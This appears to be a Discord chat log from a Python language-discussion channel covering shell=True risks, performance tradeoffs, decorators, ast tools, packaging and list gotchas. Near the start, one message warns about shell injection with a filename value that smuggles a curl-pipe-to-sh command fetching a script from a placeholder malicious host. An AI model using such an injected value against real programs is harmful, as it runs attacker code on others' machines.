@magic python it's not that it's categorically wrong - if you need to use a shell, or using a shell makes what you're doing much easier, it's the right tool for the job. But using a shell when you don't need one exposes you to all of shell's disadvantages unnecessarily. Like problems with handling filenames containing spaces. Or what happens when a filename contains a$symbol. Or a backtick. Or any other shell metacharacter.
Basically, using shell=true makes it so that someone reading your code needs to know both Python and shell to know if it's correct, and it makes it so that it can break catastrophically if the user passes you input that is special to the shell.
Even if the only thing the user is in control of is a filename that you're passing to the shell, if they give you a filename like foo$(curl http://some.malicious/script | sh)bar they can make you run arbitrary code when you thought you were doing something safe.
so if I don't take any user input can i use shell = True?
for a simple script
assuming no one messes with it
Sure. As long as you know exactly what args you'll be passing and how the shell will interpret them, it's perfectly safe (although possibly unnecessarily complex). It's only unsafe or potentially incorrect when the arguments could contain shell metacharacters.
But keep in mind, that even means it isn't safe to do something like read a list of filenames in some directory on disk and run something with shell=True for each of them. A file with a name containing a space will make your command do something different, which you don't want.
Also, it's worth noting that shell=True executes in a different sort of shell on Windows than on Unix, and even on Unix it could give you dash or bash or busybox sh - so it can also easily lead to portability issues.
there are only a couple of things that can be done semi-portably with shell=True
redirection of input and output, pipelines, and automatic word splitting of the command line
command line word splitting can be done with shlex, and redirection and pipes can be done reasonably easily with other features of the subprocess module
beyond that, you're doing things that are highly specific to whatever windows, unix, or other operating system [are there any other operating systems supported by python anymore?] shell you're running on anyway, and it's better to figure out a way to do those things portably with python code instead
In a help session, I made the statement "Python is designed for readability, and if you're going for an algorithm where the speed of operations like list deletions are mission critical, chances are you should be working with C++ or something."
List deletions were just the topic at hand. The point I really want to make is that you usually wouldn't use pure Python if performance is that important for what you're trying to do. How wrong am I?
Python makes a significant amount of tradeoffs in exchange for greater dynamicity. For example, it compiles to bytecode during runtime, does not have compilation units, does not go through llvm, methods are looked up when used, and most everything is a hashmap (locals/globals/classes/etc).
On one hand, this means every time you access attributes or insert things into a list you're essentially dealing with a HashMap<str, Arc<Box<dyn PythonObj>>, and accesses to attributes can trigger function calls, which requires a global interpreter lock to prevent issues (GIL), and a large amount of allocation (each object in a list is behind its own reference counted pointer IIRC).
However, this means lists can contain anything, you do not need to generally use generics, polymorphic code is relatively easy to write, inheritance and inheritance-based testing is possible, decorators are clearer and much more concise than macros, and you can write in one line what may take 3, 4, 5 or more in other languages.
Because of these tradeoffs I find python to be a very good development language. It will not get in your way excessively, it makes it easy to do things that advance your knowledge and data model of your application, and interfaces with anything and everything without requiring you to know your nits. But it does come with a cost.
For many high-performance loads, pure python runs at ~100x slower than comparable C. We can get closer by hooking into modules such as numpy, which take advantage of C's performance and hide some of our loops/matrix transforms/raw math inside of it. This gives us a potent boost, and in most cases is more than good enough.
However, because of that, there are a variety of situations where performance is king and python is not appropriate. Video/audio decoding/muxing/capturing, for example. If these are to be done in python, they should be done via extension, since the goal is smooth frames and processing thousands of pixels per second.
( holy wall of text, sorry. But I generally think you've got the right idea )
I kind of see a few kinds of optimizations you can apply to your code:
- Algorithmic (IE: reducing N^2 to log(n)),
- caching (don't recompute this, always recompute that),
- reducing what needs to be done (only flip bit x),
- taking advantage of additional cpu instructions (MMX/SSE).
Python is good for the first two, but if you find yourself needing ( you should test this, premature optimization is the root of evil ) to do the last two you should consider going with a language that exposes those directly.
^^ this message clearly deserves a pin IMO 
For example, I've got an algorithm I use to display a spreadsheet for debug viewing in the terminal, autosizing the clip of displayed columns, showing headers, and line numbers
It's very short compared to what I'd have to write in, say, rust, but it gets the job done. It's also O(N^2M), which at first glance isn't great. However, M is the number of columns of the terminal.. max, say, 400, and N is the number of spreadsheet columns, max, say, 50. That's about 40k operations once per table, and even in python that's basically nothing for the absolute maximum. In practice, printing to the terminal takes longer. I could do all sorts of optimizations here, but it's not worth it. In addition, I'm using min(), max() and index(), all of which lower into C in python, so its triply not worth it.
That's the beauty of 2020, most fields doesn't require implementations to be really fast, just need to do the job, that's why python is really good in most of those fields
As I see it, these days development is expensive, and computers are cheap
!code
Discord has support for Markdown, which allows you to post code with full syntax highlighting. Please use these whenever you paste code, as this helps improve the legibility and makes it easier for us to help you.
To do this, use the following method:
```python
print('Hello world!')
```
Note:
• These are backticks, not quotes. Backticks can usually be found on the tilde key.
• You can also use py as the language instead of python
• The language must be on the first line next to the backticks with no space between them
This will result in the following:
print('Hello world!')
As I see it, these days development is expensive, and computers are cheap
@torpid bridge
That reminds me of electron in some way, companies prefer to sacrifice a ton of resources, but not have to make their employees learn "normal" GUI frameworks, like Kivy or whatever
hi
Hi @fading breach. This isn't really the best channel for introductions/chatting, it's about quite a specific topic, you might get a better response in #python-discussion or offtopic
No. A help channel is better for that. See #❓|how-to-get-help for instructions
How wrong am I?
@boreal umbra Not. Python is designed for readability and maintainability, not performance.
This isn't the right channel. Read #❓|how-to-get-help
Hello everyone
So, I'm new to python and I saw this sample Flask app in their documentation...
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():
return 'Hello, World!'
Why is the reference to the Flask class, app, prefixed with an @ symbol in @app.route('/')?
Finding the answer online was harder than I thought it would be 🧐
Is there a place or documentation somewhere where these possible prefixes are described?
that is a decorator
@function
def other_function():
...
```is roughly equivalent to
```py
def other_fucntion():
...
other_function = function(other_function)
Thanks, @flat gazelle . Now that I know those are called "decorators", finding information was a breeze:
https://realpython.com/primer-on-python-decorators/
Hello :), not the right channel for introductions, #python-discussion is a better fit
oh ok thank you 🙂
what is the best language to code plugins
what kind of plugins
browser plugins, minecraft plugins, vscode plugins, vim plugins?
very broad term, also probably not the right channel for it
This is not the channel for such discussion. See the channel topic of #internals-and-peps
@languid dagger where can i see the channel topic?
anyone want to help me make a python monopoly?
@unkempt rock Don't spam your message and also read mine literally just above
@sharp belfry On PC it's just above next to the channel name. Mobile you have to tap the channel name
@languid dagger oh got it!!
@torpid bridge that was a great read, thank you very much
I agree that it should be pinned.
what would you think about type() returning the current class, in the same vein super() works.
class U:
def own_name(self):
return type().__name__
``` for example.
why?
sometimes, you need to get the current class, especially outside methods and it is quite annoying to do
I think self.__class__ is faster
though self.__class__.__name__ is annoyingly wordy
Hii everyone
what's the reason not to use self.__class__.__name__?
there's a reason to use one and not the other, but i forgot it and it's super corner case -- so i usually do the chaining
though i'm not super consistent about it
can anyone reccomend any good grammar correction libs/apis?
This isn't the right channel. Try #python-discussion or off topic
what do you mean by grammar correction, python grammar?
oh sorry
nevermind then 😄
Well. I guess this could be the right channel depending on what exactly you mean I guess. Read the topic and if you think it fits, go for it
no not really
anyway, i'll post it here as a bonus as the channel is a bit less saturated, if you're interested in cpython internals, specifically the bits before the bytecode generation itself (AST generation)
look into https://greentreesnakes.readthedocs.io/en/latest/index.html (not sure if it's the appropriate channel for such posts)
I sort of want to try out some project involving working with ast, ast.unparse() being added in 3.9 is also pretty interesting
if you ever used 2to3, or that static type checker... bandit yea
they use ast manipulation
we did something with lemon with ast.unparse
used unparse to programmatically change a bunch of function calls
wise comments
Oh I remember watching you guys do that salt, I had no idea what was happening, but it looked extremely cool
i have a ast pretty printer too, if you're interested

ex:
In [3]: pp('def f(n=1): \n for i in range(n):\n print(i)')
FunctionDef
├──f
├──arguments
│ ├──arg
│ │ ╰──n
│ ╰──Constant
│ ╰──1
╰──For
├──Name
...
Yeah, that's a nice tool. You should package it and publish it to PyPI.
never actually done it, i'd have to read something or something
It's not actually that difficult (and shouldn't be for the tool you wrote)
Could be cool to have it as a script as well, which means you'd be able to run it from the command line directly
pp "code" or pp file
the tree would be insane for some reasonable .py file
might be fun to see
whats that rich text thing for the terminal, could be nice to pipe to
oh, rich is the name of it
so i've seen that functions in some modules take a another function as an argument
how do i do that?
attribute? or argument?
lets say i have function called Transformer()
i want it to take in another function as an argument
If you want to pass a function as an argument, you don't have to do anything special, functions are also objects
def high_level_func(func):
func()
def regular_func():
print('Hello!')
high_level_func(regular_func)```
tbh better then
>>> ast.parse("a = 2 + 1", mode="exec")
KeyboardInterrupt
>>> node = ast.parse("a = 2 + 1", mode="exec")
>>> pprint.pprint(ast.dump(node))
("Module(body=[Assign(targets=[Name(id='a', ctx=Store())], "
'value=BinOp(left=Constant(value=2, kind=None), op=Add(), '
'right=Constant(value=1, kind=None)), type_comment=None)], type_ignores=[])')
seems like a good lib
i encourage you to upload it as a package
i'll try to do it tomorrow, i'm close to my bedtime
@unkempt rock I guess you could just make a wrapper class and decorate your function with it
making a package makes me want to add a few more features to it
it's pretty barebones
is there any lib to visualize a control flow graph from a ast?
that'd be a nice addition
there's something like that for js i think?
class FalseyFunc:
def __init__(self, func):
self.func = func
def __get__(self, *args):
return FalseyFunc(self.func.__get__(*args)) # Support for bound methods
def __bool__(self):
return False
def __call__(self, *args, **kwargs):
return self.func(*args, **kwargs)
Something like that @unkempt rock, you can then do
>>> @FalseyFunc
... def some_func():
... print('yo')
...
>>> some_func()
yo
>>> bool(some_func)
False
>>> class Example:
... @FalseyFunc
... def method(self):
... print(self)
...
>>> Example().method()
<__main__.Example object at 0x000002762B552940>
>>> bool(Example().method)
False```
class Engine:
def __init__(self, maker, cc):
self.__maker=maker
self.__cc=cc
def __str__(self):
return f'Engine maker: {self.__maker}, volume: {self.__cc} cc'
eng = Engine('Mitsubishi', 2000)
print(eng.maker, eng.cc)
can anyone explain
?
@snow perch Explain what?
this code:(
The indentation is wrong, first off
Also, this isn't the right channel for this I believe
how can i run my program as background process?
@still river I think you should ask in #async-and-concurrency
or in #tools-and-devops
depends on what exactly you want
@covert pier This is not a help channel, please read the channel description. For help, check out #❓|how-to-get-help.
thanks
I was trying to understand the pointer notation in zip(*grid) where grid is a nested list, and ended up reading a really cool tutorial https://realpython.com/pointers-in-python/
But I am still unsure what that * really means
@clever sequoia This is not a help channel, please read the channel description. For help, check out #❓|how-to-get-help.
@clever sequoia It's not in any way related to pointers 🙂 * unwraps a tuple/list into the elements it's composed of.
https://www.geeksforgeeks.org/unpacking-a-tuple-in-python/
Also, not a help channel.
Thanks. It's confusing choice of notation
Python and C are different. Just because C uses * for something, it's ok for python to use it for something else.
I hope C++ will get more ways to use & over the years
& just reminds me of Rust's Borrowing system
...right not & is used as
- a reference type:
const int& a = 4; - bitwise AND:
0xabc & stuff - logical AND:
thing && stuff - rvalue reference type:
int stuff(int&& thing) - in lambdas to denote capturing a reference:
[&x](){} - referencing a value to store in a pointer:
int *p = &x;
@white saffron This is not a help channel, please read the channel description. For help, check out #❓|how-to-get-help.
!ban 279017706228023297 Spam
:incoming_envelope: :ok_hand: applied ban to @lyric lichen permanently.
people who can't make things just like to break things.
hah, indeed
quick question i am able to run django-admin on my computer but when i say django admin startproject (projectname) it says no django command found
@celest spade This is not a help channel, please read the channel description. For help, check out #❓|how-to-get-help.
oh, well
Oops, thought this was general
Well, it's okay to answer it if it's quick, don't delete the answer
kk
@celest spade For further questions, please use #web-development or #❓|how-to-get-help
sure
why there are no switch statements
they are coming
yes that’s it
pattern matching is cooler anyways
agreed
Exactly. C style switches are bad
And if they were implemented in python, I feel like there’d be a lot of misuse where someone should use a dict instead
I was trying to understand the pointer notation in
zip(*grid)where grid is a nested list, and ended up reading a really cool tutorial https://realpython.com/pointers-in-python/
But I am still unsure what that*really means
@clever sequoia If it helps, you can think of*as being the same as...in Javscript/Typescript (though you need to use**for dictionaries).
Quite a useful message in psycopg docs
Would it be possible to warn a user when they're using string interpolation in a query?
Something something inspect?
I think it would be a great idea, and it should skip the check with the -O flag
I think it would be possible with inspect.getsource and ast
And if you know what you're doing (like inserting a name of a database for some reason), you can put a
# i-know-what-i'm-doing
comment
id still prefer a way to do fstring syntax FOR sql
That would require the ability to create custom sigils like in elixir
creating a special syntax just for SQL is way too specific
people sometimes say that r"..." is a regex string, but that's not true, it's a raw string
im-a-skid
regex is one of its main purposes, I've seen some people differentiate between r and R, where one is regex and the other are the other things
regex purpose is to inflict suffering to future mantainers
well, there's a readable version of regex (with whitespace and comments)
A simple few char regex can also be quite a bit more powerful than multiple lines of python code
While remaining fast which can be a big factor for string processing
creating a special syntax just for SQL is way too specific
it wouldnt have to be just sql
sql libs could USE it tho
regex was perfect for perl
powerful tool that is easy to abuse
that said regex is also a bit like perl in that once you're used to it you can read even really gnarly stuff
Don't really agree there, you can get the basic groups quantifiers, non capturing groups etc in a few hours but regexes with lookaheads and things like that will still be very confusing
Some of the patterns I've seen when solving a problem were borderline esoteric to me while being considered a good solution
Regex is so powerful it's the key tool in sequencing dna irrc
But yeah, except for simple ones, I always have to use a website
how
you tell me lmao
wtf
Whats a good design pattern when your code is repeating itself except for a few differences? Here I wrotes some psuedocode that is looking an a website for two different files, then downloading them and verifying that theyre there, then setting their status to Success. Its the exact same process for both files except the values are different. Then below I have a potential solution - create dictionaries for each file with all the arguments needed and then just loop through the array of dictionaries. However this feels messy to me too because its so arbitrary to know what arguments would be in your dictionaries. Is there a better design pattern to accopmplish this?
all my arguments in this class are becoming these objects and its confusing to tell what in the objects and what they are supposed to represent other than just "what I need to make my for loop work"
Thanks @charred dirge
@short merlin if you know what keys you’re going to have for your dictionary, maybe create a data class instead?
@short merlin sometimes there is no design pattern. sometimes you can extract common logic to individual functions
(A "pyproject.toml" file was found, but editable mode currently requires a setup.py based build.)
is there any fix for this in the pipeline somewhere 😦
What build backend are you trying to use?
Do people teach python language in this discord server?
@jaunty lark If you have a specific question, just go ahead and ask it. Not in here though (read the channel description), check out #❓|how-to-get-help
@raven ridge poetry
I looked at some github issue discussions and it seems like we aren't really close to a resolution
I think there is a way to generate a setup.py from pyproject.toml, I should just use that or write my own script to do it
I'm still so annoyed by the fact that poetry can't be built from source that I refuse to look any further into it.
https://github.com/python-poetry/poetry/issues/1975 is a ridiculous problem. 😕
between that and the fact that there are 650 open issues on the poetry repo, I'm pretty convinced no one should be using poetry. It doesn't appear to be well maintained, and for a build backend to itself have fundamentally unresolveable build dependencies makes me think it's not being designed nearly as carefully as an integral part of the Python build ecosystem needs to be.
wait, what
i didnt know about this
thats actually quite a bummer
i was really enjoying not writing setup.py files
as well as the poetry cli
i mean kivy has more than that and i still love it
engine.setProperty('voices', voices[0].id)
i wnt to get zira voice
but i arent able to get
when i play voice in loop
zira voice plays
but when i do indexing
it didnt come
this is not a help channel, please see #❓|how-to-get-help
Could we please have a channel for bikeshedding about style choices? 👀
PEP8 recommends exactly one line between methods in a class. I tend to separate each method in a few steps, and those steps get an underscore because they're kind of not intended for outside use. Does it make sense to put one line between sub-methods and two lines between chunks of methods?
I think that's fair, yeah
You could denote chunks of methods with comments, that'll let you increase visual space between them without technically breaking the pep as well
I don't care about technically breaking the pep
On the other hand, I could define steps as inner functions.
class Sample:
# First method
def method(self):
self._helper_a()
self._helper_b()
def _helper_a(self): ...
def _helper_b(self): ...
# Second method
def other_thing(self):
self._helper_c()
self._helper_d()
...
Something like that should be both PEP8-compliant and properly visually grouped
On the other hand, I could define steps as inner functions.
That should work too
I can concatenate two strings just by typing them next to each other in Python 3.7.7 like this >>> "a" "b" 'ab'
Does anyone know why?
It seems a bit bizzare that this works
@hallow burrow This is not a help channel. Please use #❓|how-to-get-help or #python-discussion
I'm not asking for help, though?
This syntax has been around since 2.0: https://docs.python.org/2.0/ref/string-catenation.html
And it's widely used across programming languages.
It's a feature
it works only for literals and exists so that you can easily split strings across multiple lines like so
("Hello "
"World")
It's used to split a long string like an SQL request across lines.
def has_digit(n,digit):
return digit in str(n)
print(has_digit(1234, "5"))
in line 3
whats the error?
@snow perch This is not a help channel. If you want help with a specific question, use #❓|how-to-get-help
!e
def has_digit(n,digit):
return digit in str(n)
print(has_digit(1234, "5"))
@grave jolt :white_check_mark: Your eval job has completed with return code 0.
False
🤷♂️
maybe old python version
do u guys are beginners?
@still river This is not a help channel. Please read the description of the channel. If you want help with a specific question, use #❓|how-to-get-help
Discussion on the use cases, implementation and future of the Python programming language including PEPs, advanced language concepts, new releases, the standard library, and the overall design of the language.
+1
When implementing my own version of a set, what are the magic methods I should include to be able to utilize all the features one would come to expect?
I want a simple bounded set that limits items to a given number, so far I've got the __len__(), __in__() as well as __iter__(). Is __next__() also one or should that only be for ordered lists?
And I suppose remove() and add() as well?
__next__ is for iterator objects, you don't need it in your set class
extend the MutableSet ABC
Can I go off of this in that case @unkempt rock? https://docs.python.org/2/library/sets.html
extend the MutableSet ABC
@flat gazelle huh... didn't know that existed. Thanks!
Then I suppose PYC will help me implement all the expected methods?
OHHH... Thanks. I was a little skeptical, haha. Felt like the right place to ask this kind of a more abstract question.
https://docs.python.org/3.8/library/stdtypes.html#set use this instead
python 2 docs should not be used
Thank you! ^^
Wow, there's quite a lot of them, haha.
Mainly the subset/superset stuff.
Are all those just implemented by name?
Or is there magic methods as well?
< <= => > is __lt__, __le__, __ge__, __gt__
Ahhh... I see. Just refer one to the other?
What's more conventional? Implementing the magic methods fully or the named ones?
do note that the MutableSet ABC gives you all of this for free
and just requires this be implemented
Woah, that's cool! I'll use that!
you may want to override some of them for performance though, depending on your set impl
Ahh... I see, that makes sense! I'll start off with implementing the basics and then add the other methods if I notice any downsides.
some countries have their states
some countries do not have their states
can I know where is the problem please?
myList = ["One", True, 3, "Alex", 0.193, "Sam", "Two", 5, 7]
print(f"Hello : {myList.index("Sam")}")
This isn’t a channel for questions, check out #❓|how-to-get-help
oh ok
i have a problem i use pyinstaller to make a .exe file but everytime i try sending it to my friends it says it is a virus and it doesnt let them download it... Any ideas??
@random violet you have to use different kinds of quotes if you have string literals inside f-strings
otherwise you're closing the f-string
f"Hello: {my_list.index('Sam')}"```
that should be fine
Hello, if I try to print datetime.now in what format would the date get printed out?
This is not a help channel, see #❓|how-to-get-help if you need help with python
Oh sorry
Is there a preferred way to extend lists (i.e., to add v, n times, to l)? Namely,
l += n * [v] vs. l.extend(v for _ in range(n))?
+= is internally a call to extend, but there's a difference between multiplying a list and using a list/generator comprehension
[v] * n will evaluate [v] once and then make a list of n references to the same object
v for _ in range(n) will evaluate it n times and populate the list with (potentially) different objects (still depends on what v is)
In [33]: [choice(range(10))] * 10
Out[33]: [0, 0, 0, 0, 0, 0, 0, 0, 0, 0]
In [34]: [choice(range(10)) for _ in range(10)]
Out[34]: [5, 9, 7, 2, 7, 3, 1, 2, 0, 3]
Ah. So if the value is a static value (e.g., from a separate list) then both calls are the same, but if v itself is not static then the two are different
If you need to evaluate the expression multiple times (such as random or if you need to generate separate mutable objects), use a comprehension, if you don't, you can just use multiplication
the mutable example would be good to
In [35]: a = [[]] * 5
In [36]: a[0].append(1)
In [37]: a
Out[37]: [[1], [1], [1], [1], [1]]
In [38]: a = [[] for _ in range(5)]
In [39]: a[0].append(1)
In [40]: a
Out[40]: [[1], [], [], [], []]
this is a fairly common gotcha
yep
But there's barely any difference between doing list_ += iterable and list_.extend(iterable), so just go with whatever feels easier to read in your case
What's the explanation for that last example?
multiplication copies the reference to the same list
list comprehension evaluates [] every iteration of range, creating new lists
to reiterate, you're seeing the same list 5 times in the first part
so in the first example, you have 5 pointers to the same list in another list, and in the second example, you actually have 5 different lists
it wouldn't really matter if it were ints, because they're immutable anyway
Okok that's what I thought but I wanted to see if there was anything I was missing.
can make this clear:
In [41]: a = [[]] * 5
In [42]: a
Out[42]: [[], [], [], [], []]
In [43]: for i in a:
...: print(id(i))
...:
139756415751552
139756415751552
139756415751552
139756415751552
139756415751552
In [44]: a = [[] for _ in range(5)]
In [45]: for i in a:
...: print(id(i))
...:
139756416757632
139756415447424
139756418827136
139756420175040
139756420176000
ids are memory addresses --- you can see they're all the same at the top
Both of those are good examples. Thanks for all of the insight!
Hey! I had a code-style question since I think I am using some kind of anti-pattern
Following example explains my concern:
try:
var1: str = obj1.attr1.attr2.attr3
if not var1:
raise AttributeError
except AttributeError:
raise CustomException(f"Uh-oh, got us an exception, Frank!")
In here we try to get the value of attr3, but it is possible that any of obj1, attr1, attr2 are None, hence the try ... except AttributeError
So far so good.
The thing is, attr3 might still be None, and in that case, CustomException should be raised with the same message.
The code above does this without me having to repeat my CustomException. But it feels a little dirty to raise an exception I am explicitly catching.
So the question is: Is the code shared above acceptable, or how would you tackle this specific use-case?
this is where null conditional operators would be really nice
if they existed in python

Haha, we have to settle with or 😄
Another way to write the code above would be:
if obj1 and obj1.attr1 and obj1.attr1.attr2 and obj1.attr1.attr2.attr3:
var1: str = obj1.attr1.attr2.attr3
else:
raise CustomException(f"Uh-oh, got us an exception, Frank!")
but this is ugly since you are repeating obj1.attr1 etc
So for now I settled for the first approach, but was just wondering if any of you pythonistas had some more elegant way to do this ^^
i have a code how i can fix my issue? python alpha_2 = pycountry.countries.get(alpha_3 = data["country_code"]).alpha_2 print("alpha_2", alpha_2) print("country : ", country) state_name = data["state_code"] print("state_name : ", state_name) subtype = alpha_2+'-'+state_name state_name1 = pycountry.subdivisions.get(code =subtype) print("state_name1 : ", state_name1) state = pycountry.subdivisions.get(code=f'IN-{state_name}') if not state: return jsonify({"message":"Incorrect state code"}),400 print("country_code : ", country_code) try: if alpha_2 == country_code: print("valid state") except Exception as e: print("invalid state") country_match = pycountry.countries.search_fuzzy(country)[0].name.lower()
@deft pagoda can u look into my problem here bro?
not a help channel, try #❓|how-to-get-help
alright! duh
i have a problem i made a .exe of my file but when i try to send it to someone it says it contains a virus. How can i fix that?
this is not a help channel, please read the topic description
Hello guys, what's the difference betweenclass Stack: stackList = [] and class Stack: def __init__(self): self.stackList = []
One is a class attribute and the other is an instance attribute. Instance attributes are scoped only to a specific instance of the object.
Thanks
I've done a very terrible thing. I wanted to use the way I had implemented __str__ for a class that I wrote it in such a way that I couldn't make an instance
so I did this
new_ann = object.__new__(t.Any)
new_ann.entities = sorted(new_entities)
new_ann.relations = sorted(new_relations)
ann_doc = brat_data.BratFile.__str__(new_ann)
A typing.CoroutineFunction or something is really needed. t.Callable[[t.Any], t.Coroutine] is the alias I find myself creating the most.
But maybe they don't want to include aliases.
there is already t.Optional
Oh, right.
Hi, mmm... Someone speak spanish? I need help and I'm not so good speaking english. Please send me a message, I need help for a school-homework.
@pseudo minnow This isn't the correct channel for getting help, see #❓|how-to-get-help. This is also an english speaking server so you will have to either try your best or use an online translator. And note there is a limit to how much we can help you with homework, we can guide you in the right direction, but not do it for you of course.
new_ann = object.__new__(t.Any)
new_ann.entities = sorted(new_entities)
new_ann.relations = sorted(new_relations)
ann_doc = brat_data.BratFile.__str__(new_ann)
@boreal umbra could you please explain what you did there? looks intriguing. I see you made an instance of t.Any... but what happened after?
@surreal moat turns out you can't instantiate Any. However my goal was to just create a dummy object that had values for those two attributes, because those are the only attributes needed for BratFile.__str__
OH lmao
I ended up doing new_ann = namedtuple('Temp', 'entities relations')(sorted(new_entities), sorted(new_relations)) until I come up with a better solution
why don't you use type()?
hmm, that would work
type("", (type,), {"entities": sorted(new_entities), "relations": sorted(new_relations)})
new_ann = type('Temp', (object,), {})()
new_ann.__dict__ = {'entities': sorted(new_entities), 'relations': sorted(new_relations)}
ooh yeah you gotta make the instance first
or not?
what about just
type("", (type,), {"entities": sorted(new_entities), "relations": sorted(new_relations)}) because it still has the correct attributes
you can do
type('', (), dict(entities=sorted(new_entities), relations=sorted(new_relations)))()
Does it bother anyone else that your modules have a lot more in their namespaces than you really want to expose to other modules that import it? For example, everything name module imports can also be seen by other modules. It just seems like clutter. Maybe my way of thinking is a consequence of being used to static analysis in my editor.
thats what __all__ is for
That's only for star imports. Does static analysis respect it too?
I would assume so
Imports but me a bit, but only thing I care about is what my editor tells me about them, and it ignores modules in trees for representstio etc.
I've seen some stdlib modules use _ prefixes for import but that feels bit weirder when in that module
hello would you help me with a project that I am doing but I am not selling anything I am a beginner
This isn't a help channel Red, see #❓|how-to-get-help
:'c
I'm coming to the realisation that trying to make things private in modules for the purposes of reducing clutter is a lost cause, since all the imports are still gonna show. I think it only makes sense if some object really shouldn't be used externally.
Like, i have a TypeVar. There's no need to ever use it outside the module, but there's no harm either. I could prefix it with _, but there's still 20 other things left that are cluttering the "public" namespace.
And a bunch of _-prefixed names are kinda ugly
Ive only used "private" names at the top level in modules that had s clear interfaces through one class/function but while it helped on that front they did look a bit ugly as you mentioned
What libraries seem to do is use __all__ and then star imports in __init__.py, expecting users to import from the package rather than directly from modules. But I'm not writing a library here.
I suppose I'll make an __all__ since it still communicates to readers what's relevant.
I truly hate star imports


